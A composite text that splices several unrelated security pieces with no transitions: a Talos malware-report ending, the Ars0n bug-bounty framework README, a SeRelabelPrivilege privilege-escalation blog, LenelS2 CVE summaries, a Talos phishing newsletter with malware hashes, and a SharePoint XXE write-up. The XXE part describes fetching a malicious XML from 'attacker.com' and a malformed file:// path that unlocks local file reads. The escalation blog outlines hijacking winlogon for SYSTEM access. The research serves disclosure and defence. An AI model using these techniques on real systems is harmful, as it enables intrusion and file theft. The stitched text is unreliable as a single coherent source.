Tracing the DGA domains from the Python script and the final payload in our DNS telemetry, we first observed in-the-wild activity on Feb. 20, 2024, with more consistent activity ramping up beginning on Feb. 11, 2024. Additional variants of the Python loader containing slight alterations to the DGA were observed further on in our investigation. Tracing all the potential domains from all the DGA variations, we can observe initial visible activity beginning in February with larger spikes in actor domain activity starting in late March to the present. 

We assess that the actor(s) behind CarnavalHeist are of low-to-moderate sophistication. There are some aspects of the code and malware that hint at sophistication, whether borrowed or their own, but are then short circuited or made pointless by mistakes or odd choices elsewhere. For example, the DGA algorithm for some of the Python cradles goes through the trouble of generating a list of five different potential subdomains to be used on any given day. The list of subdomains is then referenced by Python’s random choice function, but the subdomain list is sliced in a way that only the last option is ever used. This is then corrected to use all choices in another version of the Python script we observed. The actor is worth monitoring, as the ability to incorporate complexity within their malware is more concerning than the initially observed missteps, which can always be corrected in future development iterations. The number of additional variants we observed also suggests that the author of CarnavalHeist is actively developing it. 

Talos is continuing to monitor developments and analyze additional related samples and infrastructure to this actor and campaign. 

MITRE ATT&CK 

Coverage 

Ways our customers can detect and block this threat are listed below. 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. 

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. 

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. 

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. 

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. 

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. 

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. 

The following Snort SIDs are applicable to this threat: 63515, 63516, 63517, 63518 and 300922. 

 The following ClamAV detections are also available for this threat: 

Win.Trojan.CarnavalHeist-10029766-0 
Lnk.Downloader.CarnavalHeist-10029991-0 
Win.Dropper.CarnavalHeist-10029449-0 
Win.Loader.CarnavalHeist-10029772-0 

Indicators of Compromise 

Indicators of Compromise associated with this threat can be found here. 

Howdy! My name is Harrison Richardson, or rs0n (arson) when I want to feel cooler than I really am. The code in this repository started as a small collection of scripts to help automate many of the common Bug Bounty hunting processes I found myself repeating. Over time, I built a simple web application with a MongoDB connection to manage my findings and identify valuable data points. After 5 years of Bug Bounty hunting, both part-time and full-time, I'm finally ready to package this collection of tools into a proper framework.

The Ars0n Framework is designed to provide aspiring Application Security Engineers with all the tools they need to leverage Bug Bounty hunting as a means to learn valuable, real-world AppSec concepts and make 💰 doing it! My goal is to lower the barrier of entry for Bug Bounty hunting by providing easy-to-use automation tools in combination with educational content and how-to guides for a wide range of Web-based and Cloud-based vulnerabilities. In combination with my YouTube content, this framework will help aspiring Application Security Engineers to quickly and easily understand real-world security concepts that directly translate to a high paying career in Cyber Security.

In addition to using this tool for Bug Bounty Hunting, aspiring engineers can also use this Github Repository as a canvas to practice collaborating with other developers! This tool was inspired by Metasploit and designed to be modular in a similar way. Each Script (Ex: wildfire.py or slowburn.py) is basically an algorithm that runs the Modules (Ex: fire-starter.py or fire-scanner.py) in a specific patter for a desired result. Because of this design, the community is free to build new Scripts to solve a specific use-case or Modules to expand the results of these Scripts. By learning the code in this framework and using Github to contribute your own code, aspiring engineers will continue to learn real-world skills that can be applied on the first day of a Security Engineer I position.

My hope is that this modular framework will act as a canvas to help share what I've learned over my career to the next generation of Security Engineers! Trust me, we need all the help we can get!!

Quick Start

Paste this code block into a clean installation of Kali Linux 2023.4 to download, install, and run the latest stable Alpha version of the framework:

sudo apt update && sudo apt-get update
sudo apt -y upgrade && sudo apt-get -y upgrade
wget https://github.com/R-s0n/ars0n-framework/releases/download/v0.0.2-alpha/ars0n-framework-v0.0.2-alpha.tar.gz
tar -xzvf ars0n-framework-v0.0.2-alpha.tar.gz
rm ars0n-framework-v0.0.2-alpha.tar.gz
cd ars0n-framework
./install.sh

Download Latest Stable ALPHA Version

wget https://github.com/R-s0n/ars0n-framework/releases/download/v0.0.2-alpha/ars0n-framework-v0.0.2-alpha.tar.gz
tar -xzvf ars0n-framework-v0.0.2-alpha.tar.gz
rm ars0n-framework-v0.0.2-alpha.tar.gz

Install

The Ars0n Framework includes a script that installs all the necessary tools, packages, etc. that are needed to run the framework on a clean installation of Kali Linux 2023.4.

Please note that the only supported installation of this framework is on a clean installation of Kali Linux 2023.3. If you choose to try and run the framework outside of a clean Kali install, I will not be able to help troubleshoot if you have any issues.

./install.sh

This video shows exactly what to expect from a successful installation.

If you are using an ARM Processor, you will need to add the --arm flag to all Install/Run scripts

./install.sh --arm

You will be prompted to enter various API keys and tokens when the installation begins. Entering these is not required to run the core functionality of the framework. If you do not enter these API keys and tokens at the time of installation, simply hit enter at each of the prompts. The keys can be added later to the ~/.keys directory. More information about how to add these keys manually can be found in the Frequently Asked Questions section of this README.

Run the Web Application (Client and Server)

Once the installation is complete, you will be given the option to run the application by entering Y. If you choose not the run the application immediately, or if you need to run the application after a reboot, simply navigate to the root directly and run the run.sh bash script.

./run.sh

If you are using an ARM Processor, you will need to add the --arm flag to all Install/Run scripts

./run.sh --arm

Core Modules

The Ars0n Framework's Core Modules are used to determine the basic scanning logic. Each script is designed to support a specific recon methodology based on what the user is trying to accomplish.

Wildfire

At this time, the Wildfire script is the most widely used Core Module in the Ars0n Framework. The purpose of this module is to allow the user to scan multiple targets that allow for testing on any subdomain discovered by the researcher.

How it works:

1. The user adds root domains through the Graphical User Interface (GUI) that they wish to scan for hidden subdomains
2. Wildfire sorts each of these domains based on the last time they were scanned to ensure the domain with the oldest data is scanned first
3. Wildfire scans each of the domains using the Sub-Modules based on the flags provided by the user.

Most Wildfire scans take between 8 and 48 hours to complete against a single domain if all Sub-Modules are being run. Variations in this timing can be caused by a number of factors, including the target application and the machine running the framework.

Also, please note that most data will not show in the GUI until the scan has completed. It's best to try and run the scan overnight or over a weekend, depending on the number of domains being scanned, and return once the scan has complete to move from Recon to Enumeration.

Running Wildfire:

Graphical User Interface (GUI)

Wildfire can be run from the GUI using the Wildfire button on the dashboard. Once clicked, the front-end will use the checkboxes on the screen to determine what flags should be passed to the scanner.

Please note that running scans from the GUI still has a few bugs and edge cases that haven't been sorted out. If you have any issues, you can simply run the scan form the CLI.

Command Line Interface (CLI)

All Core Modules for The Ars0n Framework are stored in the /toolkit directory. Simply navigate to the directory and run wildfire.py with the necessary flags. At least one Sub-Module flag must be provided.

python3 wildfire.py --start --cloud --scan

Slowburn

Unlike the Wildfire module, which requires the user to identify target domains to scan, the Slowburn module does that work for you. By communicating with APIs for various bug bounty hunting platforms, this script will identify all domains that allow for testing on any discovered subdomain. Once the data has been populated, Slowburn will randomly choose one domain at a time to scan in the same way Wildfire does.

Please note that the Slowburn module is still in development and is not considered part of the stable alpha release. There will likely be bugs and edge cases encountered by the user.

In order for Slowburn to identify targets to scan, it must first be initialized. This initialization step collects the necessary data from various API's and deposits them into a JSON file stored locally. Once this initialization step is complete, Slowburn will automatically begin selecting and scanning one target at a time.

To initalize Slowburn, simply run the following command:

python3 slowburn.py --initialize

Once the data has been collected, it is up to the user whether they want to re-initialize the tool upon the next scan.

Remember that the scope and targets on public bug bounty programs can change frequently. If you choose to run Slowburn without initializing the data, you may be scanning domains that are no longer in scope for the program. It is strongly recommended that Slowburn be re-initialized each time before running.

If you choose not to re-initialize the target data, you can run Slowburn using the previously collected data with the following command:

python3 slowburn.py

Sub-Modules

The Ars0n Framework's Sub-Modules are designed to be leveraged by the Core Modules to divide the Recon & Enumeration phases into specific tasks. The data collected in each Sub-Module is used by the others to expand your picture of the target's attack surface.

Fire-Starter

Fire-Starter is the first step to performing recon against a target domain. The goal of this script is to collect a wealth of information about the attack surface of your target. Once collected, this data will be used by all other Sub-Modules to help the user identify a specific URL that is potentially vulnerable.

Fire-Starter works by running a series of open-source tools to enumerate hidden subdomains, DNS records, and the ASN's to identify where those external entries are hosted. Currently, Fire-Starter works by chaining together the following widely used open-source tools:

• Amass
• Sublist3r
• Assetfinder
• Get All URL's (GAU)
• Certificate Transparency Logs (CRT)
• Subfinder
• ShuffleDNS
• GoSpider
• Subdomainizer

These tools cover a wide range of techniques to identify hidden subdomains, including web scraping, brute force, and crawling to identify links and JavaScript URLs.

Once the scan is complete, the Dashboard will be updated and available to the user.

Most Sub-Modules in The Ars0n Framework requre the data collected from the Fire-Starter module to work. With this in mind, Fire-Starter must be included in the first scan against a target for any usable data to be collected.

Fire-Cloud

Coming soon...

Fire-Scanner

Fire-Scanner uses the results of Fire-Starter and Fire-Cloud to perform Wide-Band Scanning against all subdomains and cloud services that have been discovered from previous scans.

At this stage of development, this script leverages Nuclei almost exclusively for all scanning. Instead of simply running the tool, Fire-Scanner breaks the scan down into specific collections of Nuclei Templates and scans them one by one. This strategy helps ensure the scans are stable and produce consistent results, removes any unnecessary or unsafe scan checks, and produces actionable results.

Troubleshooting

The vast majority of issues installing and/or running the Ars0n Framework are caused by not installing the tool on a clean installation of Kali Linux.

It is important to remember that, at its core, the Ars0n Framework is a collection of automation scripts designed to run existing open-source tools. Each of these tools have their own ways of operating and can experience unexpected behavior if conflicts emerge with any existing service/tool running on the user's system. This complexity is the reason why running The Ars0n Framework should only be run on a clean installation of Kali Linux.

Another very common issue users experience is caused by MongoDB not successfully installing and/or running on their machine. The most common manifestation of this issue is the user is unable to add an initial FQDN and simply sees a broken GUI. If this occurs, please ensure that your machine has the necessary system requirements to run MongoDB. Unfortunately, there is no current solution if you run into this issue.

Frequently Asked Questions

Coming soon...

In a recent assessment, it was found that a specific Group Poilcy granted via “User Right Assignments” the SeRelabelPrivilege to the built-in Users group and was applied on several computer accounts.

I never found this privilege before and was obviously curious to understand the potential implications and the possibility of any (mis)usage scenario.

Microsoft documentation is as usual not very clear and helpful, to summarize:

“Anyone with the Modify an object label user right can change the integrity level of a file or process so that it becomes elevated or decreased to a point where it can be deleted by lower integrity processes.“

Luckily, a post from James Froshaw published in 2021 gave much more details and useful information on possible abuse . I highly recommend reading it before going on.

I decided to do some experiments to understand how “far” I could go.

I started by assigning to a standard user the SeRelabelPrivilege via group policy:

The privilege is only available in High Integrity Level (in the case of cmd.exe -> run as administrator):

But what does this privilege grant to you? Well, a lot of interesting permissions!

• It allows you to take ownership of a resource
• Furthermore, unlike the SeTakeOwnsership privilege, it allows you to own resources that have an integrity level even higher than your own
• Once you have taken the ownership, you can grant yourself full control over the resource (process, tokens,…)
• Quick & dirty: Same as abusing the SeDebugPrivilege

My goal was to take ownership of a SYSTEM process, grant myself full control, and then create a process under the NT AUTHORITY\SYSTEM account.

Perfect Local Privilege Escalation… pardon, just a “Safety Boundary” violation

For this purpose, I created a simple POC:

First of all, I needed to get the current user SID and enable the specific privilege. After this, I took the ownership of the process:

I needed to open the process with WRITE_OWNER access. In the SetSecurityInfo call, the “LABEL_SECURITY_INFORMATION” flag is mandatory, otherwise, I was not able to own a process with an Integrity Level higher than my High IL process.

Once I took the ownership, it was super-easy to grant full control:

In this case, I needed to open the process with WRITE_DAC access, and after setting the explicit access to PROCESS_ALL_ACCESS, I gained full control of the process!

Side note: this is just an example, the same results can be accomplished in different ways by using other API calls.

Let’s see if it works… 7116 was the winlogon process, which ran under System Integrity and was owned by SYSTEM:

Ownership changed and full control was successfully granted:

The easiest way to abuse this was to perform a parent process injection. For this purpose, I used my old psgetsystem tool (remember to comment out Process.EnterDebugMode())

Et voilà! Got SYSTEM access

Just for fun, I also took ownership of the token, granted full access to the token, and lowered the IL from System to Medium

Conclusion

From what I understood of this really strange privilege:

• It allows you to take ownership of a resource even if it’s IL > of yours.
• Once you take ownership you can grant yourself full access to the process and tokens.
• The result, from an abuse perspective, is then quite similar to the Debug Privilege
• Manipulating the mandatory label is just a consequence.
• I still don’t understand why MS implemented it

The source code of simple and stupid POC can be found here

Thanks to James Forshaw for his useful hints and for helping me demystify this privilege

That’s all

CWE-88: IMPROPER NEUTRALIZATION OF ARGUMENT DELIMITERS IN A COMMAND ('ARGUMENT INJECTION')
LenelS2 NetBox access control and event monitoring system was discovered to contain an authenticated remote code execution in versions prior to and including 5.6.1, which allows an attacker to execute malicious commands.

CWE-78: IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN AN OS COMMAND ('OS COMMAND INJECTION')

LenelS2 NetBox access control and event monitoring system was discovered to contain an unauthenticated remote code execution in versions prior to and including 5.6.1, which allows an attacker to execute malicious commands with elevated permissions.

CWE-259: USE OF HARD-CODED PASSWORD
LenelS2 NetBox access control and event monitoring system was discovered to contain hard-coded credentials in versions prior to and including 5.6.1, which allows an attacker to bypass authentication requirements.

My wife (no stranger to weird types of scams) recently received a fake text message from someone claiming to be New Jersey’s E-ZPass program saying that she had an outstanding balance from highway tolls that she owed, prompting her to visit a site so she could pay and avoid additional fines. 

There was plenty of reason to believe this was a legitimate ask. Her family is from New Jersey, so we make frequent trips there, paying $20-plus in tolls along the way. We had also just completed a trip from there a few weeks prior (though I’m not sure if this was a coincidence to the timing of the spam text or not), and we both have E-ZPass accounts. 

For the uninitiated, or anyone who lives in a country where taxes are paid as normal and therefore pay for appropriate road repairs, E-ZPass is a small device drivers in more than a dozen countries in the U.S. can register for so they can automatically pay tolls along highways rather than having to stop and use cash or coins, or spending a few extra minutes manually processing a transaction.  

Each state or city has its own agencies that deal with E-ZPass, each with its own payment processing system and website. For this case with New Jersey, the phishing site the scammers set up was shockingly convincing and looked remarkably similar to the legitimate New Jersey E-ZPass website.  

Once we logged into our legitimate E-ZPass account to check to make sure we had, in fact, paid all the appropriate tolls, I alerted my team about this scam, and we appropriately blocked the phishing URL in question in Cisco Secure products.  

Since this victory and foray into threat hunting, I have learned that this is a problem everywhere, not just for New Jersey drivers. 

Since this experience, E-ZPass has sent out an alert in all the states they operate in warning about these types of scams. Drivers from New York to Georgia and Pennsylvania have received these types of texts with equally convincing phishing text messages and lure pages.  

It’s unclear what the adversaries’ goals are in this case, but it’s probably safe to assume they’re looking to collect users’ credit card information after they go in to pay the alleged overdue toll. They could also be collecting E-ZPass login information to collect further data about the drivers. 

In April, the FBI also warned of SMS phishing scams, in which adversaries pretended to be toll collection services from three different U.S. states. SunPass, the equivalent to E-ZPass in Florida, also alerted about similar scams around the same time as these E-ZPass scams started being reported. And in March, the FasTrak service in California warned of the same problems.  

My hunch is that these types of services are being impersonated all over the U.S. for several reasons — thousands of drivers use these services (especially in states with a high commuter population), which makes it likely that whoever receives the text will be familiar with these devices and will have recently driven on a highway that makes drivers pay tolls. The amounts they’re asking for are also small, no more than $5 USD, so it doesn’t set off any immediate alarm bells, unlike similar scams that ask for hundreds of dollars for health care services. The requests coming through as SMS messages also make the targets more likely to open them on their mobile devices, which may not have the same security in place as a laptop or managed company device. 

No individual state or local agency is immune from this style of scam, so if you’re ever in doubt of receiving a text like this, it’s best to call your area government program in question and ask them about any suspicious activity before clicking on any links or submitting payment information. 

The one big thing 

Cisco Talos’ Vulnerability Research team has helped to disclose and patch more than 20 vulnerabilities over the past three weeks, including two in the popular Adobe Acrobat Reader software. Acrobat, one of the most popular PDF readers currently available, contains two out-of-bounds read vulnerabilities that could lead to the exposure of sensitive contents of arbitrary memory in the application. There are also eight vulnerabilities in a popular line of PLC CPU modules commonly used in automated environments. We have more detailed information in our full Vulnerability Roundup from this week. 

Why do I care? 

Several vulnerabilities were identified in the AutomationDirect P3 line of CPU modules. The P3-550E is the most recent CPU module released in the Productivity3000 line of Programmable Automation Controllers from AutomationDirect. The device communicates remotely via ethernet, serial and USB and exposes a variety of control services, including MQTT, Modbus, ENIP and the engineering workstation protocol DirectNET. Four of the vulnerabilities found in these PLC CPU modules received a CVSS security score of 9.8 out of 10, making them particularly notable. TALOS-2024-1942 (CVE-2024-21785) is a leftover debug code vulnerability that allow an adversary who can communicate to the device over ModbusRTU to enable the device’s diagnostic interface without any other knowledge of the target device. There is also TALOS-2024-1943 (CVE-2024-23601) which can lead to remote code execution if the attacker sends a specially crafted file to the targeted device and TALOS-2024-1939 (CVE-2024-24963 and CVE-2024-24962) which are stack-based buffer overflows that can also lead to remote code execution if the attacker sends a specially formatted packet to the device. 

So now what? 

Each of the vendors mentioned in this week’s Vulnerability Roundup have released patches for affected products, and users should download these patches as soon as possible. For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website. 

Top security headlines of the week 

Security researchers are warning about the dangers of a new AI “Recall” feature for Microsoft Windows 11. Microsoft recently announced a new update, that will allow a computer to remember past actions taken by the user and then use a simple search to query that information (ex., “Where did I store that document again?”). However, because Recall essentially takes individual snapshots of a machine and stores them locally, there are several security concerns. If an adversary were to infect a targeted machine with information-stealing malware, they could steal important databases stored locally and anything stored by Windows Recall. Recall also contains what are essentially keylogging functions, leaving the door open for adversaries to easily steal login credentials or other personal information that had been entered into the machine over the previous three months. The United Kingdom’s data protection agency has already contacted Microsoft inquiring about the way this information is stored and used, and they’ve asked for assurance that users’ data will be properly safeguarded and not used by the company.  Other unauthorized users may be able to access and query Recall’s information, should they obtain physical access to the device. (Bleeping Computer, Double Pulsar) 

Popular spyware app pcTattletale had to completely shut down after a data breach and having its website seized. The company that operates the app, which quietly and remotely tracks users’ activities on infected machines and takes screenshots, had its website defaced earlier this week by a hacker, along with a dump of data belonging to alleged pcTattletale customers and victims. Just days before the disruption, reports surfaced that the software was quietly installed on computers that handled the check-in process at least three Wyndham hotels across the U.S. A vulnerability in the platform could have allowed anyone on the internet who exploits it can download screenshots captured by the software directly from its servers. pcTattletale advertised itself as software that could allow anyone to control it remotely and view the target’s Android or Windows devices and their data from anywhere in the world. The founder of the spyware said that, after the data breach, the company was “out of business and completely done.” The now-defunct app had 138,000 registered customers, according to data breach notification website Have I Been Pwned. (TechCrunch, TechCrunch (again)) 

Ascension hospitals across the U.S. still have to delay patient care more than three weeks after a cyber attack. As of earlier this week, the national hospital system is still experiencing network disruptions, forcing staff to write care notes by hand and deliver orders for tests and prescriptions in person. Patients have also been unable to use their online portals to contact their doctors or view their medical records. Ascension is one of the largest health systems in the U.S., with more than 140 hospitals across the country. It first alerted patients and doctors about “unusual activity” on May 8, and there is no timeline for when services will be fully restored. News reports indicate that the disruption is a ransomware attack that can be attributed to the BlackBasta threat actor, which has links to Russia. Large health care organizations have increasingly become the target of ransomware attacks, with a previous campaign targeting Change Healthcare earlier this year disrupting payments to medical providers across the U.S. for weeks. (NPR, The New York Times) 

Can’t get enough Talos? 

• Attackers are probing Check Point Remote Access VPN devices 
• Out-of-bounds reads in Adobe Acrobat; Foxit PDF Reader contains vulnerability that could lead to SYSTEM-level privileges 
• New Generative AI category added to Talos reputation services 
• From trust to trickery: Brand impersonation over the email attack vector 

Upcoming events where you can find Talos 

Cisco Live (June 2 - 6) 

Las Vegas, Nevada 

Bill Largent from Talos' Strategic Communications team will be giving our annual "State of Cybersecurity" talk at Cisco Live on Tuesday, June 4 at 11 a.m. Pacific time. Jaeson Schultz from Talos Outreach will have a talk of his own on Thursday, June 6 at 8:30 a.m. Pacific, and there will be several Talos IR-specific lightning talks at the Cisco Secure booth throughout the conference.

AREA41 (June 6 – 7) 

Zurich, Switzerland 

Gergana Karadzhova-Dangela from Cisco Talos Incident Response will highlight the primordial importance of actionable incident response documentation for the overall response readiness of an organization. During this talk, she will share commonly observed mistakes when writing IR documentation and ways to avoid them. She will draw on her experiences as a responder who works with customers during proactive activities and actual cybersecurity breaches. 

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202 
MD5: e4acf0e303e9f1371f029e013f902262 
Typical Filename: FileZilla_3.67.0_win64_sponsored2-setup.exe 
Claimed Product: FileZilla 
Detection Name: W32.Application.27hg.1201 

SHA 256: 0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647 
MD5: bbcf7a68f4164a9f5f5cb2d9f30d9790 
Typical Filename: bbcf7a68f4164a9f5f5cb2d9f30d9790.vir 
Claimed Product: N/A 
Detection Name: Win.Dropper.Scar::1201 

SHA 256: a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0 
MD5: b4440eea7367c3fb04a89225df4022a6 
Typical Filename: Pdfixers.exe 
Claimed Product: Pdfixers 
Detection Name: W32.Superfluss:PUPgenPUP.27gq.1201 

SHA 256: c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0  
MD5: 8c69830a50fb85d8a794fa46643493b2  
Typical Filename: AAct.exe  
Claimed Product: N/A   
Detection Name: PUA.Win.Dropper.Generic::1201 

SHA 256: e12b6641d7e7e4da97a0ff8e1a0d4840c882569d47b8fab8fb187ac2b475636c     
MD5: a087b2e6ec57b08c0d0750c60f96a74c     
Typical Filename: AAct.exe     
Claimed Product: N/A       
Detection Name: PUA.Win.Tool.Kmsauto::1201 

Yes, the title is right. This blog covers an XML eXternal Entity (XXE) injection vulnerability that I found in SharePoint. The bug was recently patched by Microsoft. In general, XXE vulnerabilities are not very exciting in terms of discovery and related technical aspects. They may sometimes be fun to exploit and exfiltrate data (or do other nasty things) in real environments, but in the vulnerability research world, you typically find them, report them, and forget about them.

So why am I writing a blog post about an XXE? I have two reasons:

·       It affects SharePoint, both on-prem and cloud instances, which is a nice target. This vulnerability can be exploited by a low-privileged user.
·       This is one of the craziest XXEs that I have ever seen (and found), both in terms of vulnerability discovery and the method of triggering. When we talk about overall exploitation and impact, this Pwn2Own win by Chris Anastasio and Steven Seeley is still my favorite.

The vulnerability is known as CVE-2024-30043, and, as one would expect with an XXE, it allows you to:

·       Read files with SharePoint Farm Service account permission.
·       Perform Server-side request forgery (SSRF) attacks.
·       Perform NTLM Relaying.
·       Achieve any other side effects to which XXE may lead.

Let us go straight to the details.

BaseXmlDataSource DataSource

Microsoft.SharePoint.WebControls.BaseXmlDataSource is an abstract base class, inheriting from DataSource, for data source objects that can be added to a SharePoint Page. DataSource can be included in a SharePoint page, in order to retrieve data (in a way specific to a particular DataSource). When a BaseXmlDataSource is present on a page, its Execute method will be called at some point during page rendering:

At [1], you can see the Execute method, which accepts a string called request. We fully control this string, and it should be a URL (or a path) pointing to an XML file. Later, I will refer to this string as DataFile.

At this point, we can derive this method into two main parts: XML fetching and XML parsing.

       a) XML Fetching

At [2], this.FetchData is called and our URL is passed as an input argument. BaseXmlDataSource does not implement this method (it’s an abstract class).

FetchData is implemented in three classes that extend our abstract class:
• SoapDataSource - performs HTTP SOAP request and retrieves a response (XML).
• XmlUrlDataSource - performs a customizable HTTP request and retrieves a response (XML).
• SPXmlDataSource - retrieves an existing specified file on the SharePoint site.

We will revisit those classes later.

       b) XML Parsing

At [3], the xmlReaderSettings.DtdProcessing member is set to DtdProcessing.Prohibit, which should disable the processing of DTDs.

At [4] and [5], the xmlTextReader.XmlResolver is set to a freshly created XmlSecureResolver. The request string, which we fully control, is passed as the securityUrl parameter when creating the XmlSecureResolver

At [6], the code creates a new instance of XmlReader.

Finally, it reads the contents of the XML using a while-do loop at [7].

At first glance, this parsing routine seems correct. The document type definition (DTD) processing of our XmlReaderSettings instance is set to Prohibit, which should block all DTD processing. On the other hand, we have the XmlResolver set to XmlSecureResolver.

From my experience, it is very rare to see .NET code, where:
• DTDs are blocked through XmlReaderSettings.
• Some XmlResolver is still defined.

I decided to play around and sent in a general entity-based payload at some test code I wrote similar to the code shown above (I only replaced XmlSecureResolver with XmlUrlResolver for testing purposes):

As expected, no HTTP request was performed, and a DTD processing exception was thrown. What about this payload?

It was a massive surprise to me, but the HTTP request was performed! According to that, it seems that when you have .NET code where:
• XmlReader is used with XmlTextReader and XmlReaderSettings.
• XmlReaderSettings.DtdProcessing is set to Prohibit.
• An XmlTextReader.XmlResolver is set.

The resolver will first try to handle the parameter entities, and only afterwards will perform the DTD prohibition check! An exception will be thrown in the end, but it still allows you to exploit the Out-of-Band XXE and potentially exfiltrate data (using, for example, an HTTP channel).

The XXE is there, but we have to solve two mysteries:

• How can we properly fetch the XML payload in SharePoint?
• What’s the deal with this XmlSecureResolver?

XML Fetching and XmlSecureResolver

As I have already mentioned, there are 3 classes that extend our vulnerable BaseXmlDataSource. Their FetchData method is used to retrieve the XML content based on our URL. Then, this XML will be parsed with the vulnerable XML parsing code.

Let’s summarize those 3 classes:

       a) XmlUrlDataSource

       • Accepts URLs with a protocol set to either http or https.
       • Performs an HTTP request to fetch the XML content. This request is customizable. For example, we can select which HTTP method we want to use.
       • Some SSRF protections are implemented. This class won’t allow you to make HTTP requests to local addresses such as 127.0.0.1 or 192.168.1.10. Still, you can use it freely to reach external IP address space.

       b) SoapDataSource

       • Almost identical to the first one, although it allows you to perform SOAP requests only (body must contain valid XML, plus additional restrictions).
       • The same SSRF protections exist as in XmlUrlDataSource.

       c) SPXmlDataSource

       • Allows retrieval of the contents of SharePoint pages or documents. If you have a file test.xml uploaded to the sample site, you can provide a URL as follows: /sites/sample/test.xml.

At this point, those HTTP-based classes look like a great match. We can:
• Create an HTTP server.
• Fetch malicious XML from our server.
• Trigger XXE and potentially read files from SharePoint server.

Let’s test this. I’m creating an XmlUrlDataSource, and I want it to fetch the XML from this URL:

       http://attacker.com/poc.xml

poc.xml contains the following payload:

The plan is simple. I want to test the XXE by executing an HTTP request to the localhost (SSRF).

We must also remember that whatever URL that we specify as our source also becomes the securityUrl of the XmlSecureResolver. Accordingly, this is what will be executed:

Who cares anyway? YOLO and let’s move along with the exploitation. Unfortunately, this is the exception that appears when we try to execute this attack:

It seems that “Secure” in XmlSecureResolver stands for something. In general, it is a wrapper around various resolvers, which allows you to apply some resource fetching restrictions. Here is a fragment of the Microsoft documentation:

“Helps to secure another implementation of XmlResolver by wrapping the XmlResolver object and restricting the resources that the underlying XmlResolver has access to.”

In general, it is based on Microsoft Code Access Security. Depending on the provided URL, it creates some resource access rules. Let’s see a simplified example for the http://attacker.com/test.xml:

In short, it creates restrictions based on protocol, hostname, and a couple of different things (like an optional port, which is not applicable to all protocols). If we fetch our XML from http://attacker.com, we won’t be able to make a request to http://localhost because the host does not match.

The same goes for the protocol. If we fetch XML from the attacker’s HTTP server, we won’t be able to access local files with XXE, because neither the protocol (http:// versus file://) nor the host match as required.

To summarize, this XXE is useless so far. Even though we can technically trigger the XXE, it only allows us to reach our own server, which we can also achieve with the intended functionalities of our SharePoint sources (such as XmlDataSource). We need to figure out something else.

SPXmlDataSource and URL Parsing Issues

At this point, I was not able to abuse the HTTP-based sources. I tried to use SPXmlDataSource with the following request:

       /sites/mysite/test.xml

The idea is simple. We are a SharePoint user, and we can upload files to some sites. We upload our malicious XML to the http://sharepoint/sites/mysite/test.xml document and then we:
       • Create SPXmlDataSource
       • Set DataFile to /sites/mysite/test.xml.

SPXmlDataSource will successfully retrieve our XML. What about XmlSecureResolver? Unfortunately, such a path (without a protocol) will lead to a very restrictive policy, which does not allow us to leverage this XXE.

It made me wonder about the URL parsing. I knew that I could not abuse HTTP-based XmlDataSource and SoapDataSource. The code was written in C# and it was pretty straightforward to read – URL parsing looked good there. On the other hand, the URL parsing of SPXmlDataSource is performed by some unmanaged code, which cannot be easily decompiled and read.

I started thinking about a following potential exploitation scenario:
       • Delivering a “malformed” URL.
       • SPXmlDataSource somehow manages to handle this URL, and retrieves my uploaded XML successfully.
       • The URL gives me an unrestricted XmlSecureResolver policy and I’m able to fully exploit XXE.

This idea seemed good, and I decided to investigate the possibilities. First, we have to figure out when XmlSecureResolver gives us a nice policy, which allows us to:
       • Access a local file system (to read file contents).
       • Perform HTTP communication to any server (to exfiltrate data).

Let’s deliver the following URL to XmlSecureResolver:

       file://localhost/c$/whatever

Bingo! XmlSecureResolver creates a policy with no restrictions! It thinks that we are loading the XML from the local file system, which means that we probably already have full access, and we can do anything we want.

Such a URL is not something that we should be able to deliver to SPXmlDataSource or any other data source that we have available. None of them is based on the local file system, and even if they were, we are not able to upload files there.

Still, we don’t know how SPXmlDataSource is handling URLs. Maybe my dream attack scenario with a malformed URL is possible? Before even trying to reverse the appropriate function, I started playing around with this SharePoint data source, and surprisingly, I found a solution quickly:

       file://localhost\c$/sites/mysite/test.xml

Let’s see how SPXmlDataSource handles it (based on my observations):

This is awesome. Such a URL allows us to retrieve the XML that we can freely upload to SharePoint. On the other hand, it gives us an unrestricted access policy in XmlSecureResolver! This URL parsing confusion between those two components gives us the possibility to fully exploit the XXE and perform a file read.

The entire attack scenario looks like this:

Demo

Let’s have a look at the demo, to visualize things better. It presents the full exploitation process, together with the debugger attached. You can see that:
       • SPXmlDataSource fetches the malicious XML file, even though the URL is malformed.
       • XmlSecureResolver creates an unrestricted access policy.
       • XXE is exploited and we retrieve the win.ini file.
       • “DTD prohibited” exception is eventually thrown, but we were still able to abuse the OOB XXE.

The Patch

The patch from Microsoft implemented two main changes:
       • More URL parsing controls for SPXmlDataSource.
       • XmlTextReader object also prohibits DTD usage (previously, only XmlReaderSettings did that).

